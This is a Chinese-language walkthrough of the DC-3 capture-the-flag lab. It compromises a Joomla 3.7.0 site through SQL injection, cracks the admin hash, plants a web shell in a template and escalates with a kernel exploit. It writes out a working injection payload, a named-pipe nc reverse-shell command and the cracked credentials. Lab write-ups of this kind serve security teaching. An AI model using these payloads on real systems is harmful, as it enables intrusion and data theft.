目录
一、存活主机探测
使用arp-scan -l探测存活主机,发现DC-3的IP为192.168.18.137
二、端口扫描
Nmap -A -sS -p 1-65535 192.168.18.137,开启了80端口,CMS为Joomla
三、目录爆破
找到了管理员后台登录界面,尝试了弱口令无果。
四、拿下shell
访问80端口,页面有提示:只有一个flag,一个入口点,必须获得root权限,可能还和系统有关。
搜索了一下如何查版本,查看网站是否存在/modules/mod_login/mod_login.xml,此文件中version字段的值就是版本,为3.0.0。
但用msf的版本扫描模块测出来是3.7.0
网上查找3.7.0版本漏洞,发现有存在sql注入漏洞。构造payload查看当前用户:/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)为root用户。
也可以用searchsploit搜索Joomla 3.7.0,同样存在SQL注入。Searchsploit中的脚本存放路径为:/usr/share/exploitdb/exploits/php/webapps/脚本文件名
查看脚本文件,检测确实存在注入
使用sqlmap查询所有数据库
查询joomladb库下的所有表
查找表”#__users”下的所有列,需要用sqlmap自带的爆破字典来跑出来
查询列username、password里的所有数据。找到了admin加密过后的密码$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu。
使用john破解出密码为snoopy
使用admin/snoopy成功登录后台。
在Global Configuration- ->media–>Legal Extensions (File Types)添加PHP后缀,尝试上传一句话,无法显示也无法访问,未上传成功。
尝试另一种方法,在Extensions–>Templates–>Templates,随意选择一个模板,选中一个文件修改。我这里选择error.php文件,添加shell代码
文件路径也告诉了我们templates/protostar/error.php,使用蚁剑成功连接。
五、反弹shell
使用了nc、python、php反弹shell均失败,执行以下命令反弹成功:
mknod /tmp/backpipe p
/bin/sh 0< /tmp/backpipe | nc ip port 1> /tmp/backpipe
使用python获得交互式shell:
python -c 'import pty; pty.spawn("/bin/bash")'
六、提权(获得flag)
收集系统内核信息uname -a、版本信息cat /etc/issue:
查找有没有适用于suid提权的命令,发现并没有
尝试内核版本4.4.0提权,在exploit-db搜索,在本地编译后上传运行,无法利用,显示处理器内核少于2个。
更换exp,exploit-db中下图的可行
下载解压后,打开使用文本,里面有如何使用以及exp下载地址
解压以后把四个文件上传至靶机,按照使用说明,先运行compile.sh后会生成编译后的文件
随后运行编译后生成的doubleput文件,提权成功。
进入root目录下查看flag。
七、总结
- 利用CMS版本找到对应的exp;
- Sqlmap及John的使用;
- 反弹shell及交互式shell的利用;
- 根据操作系统版本进行提权。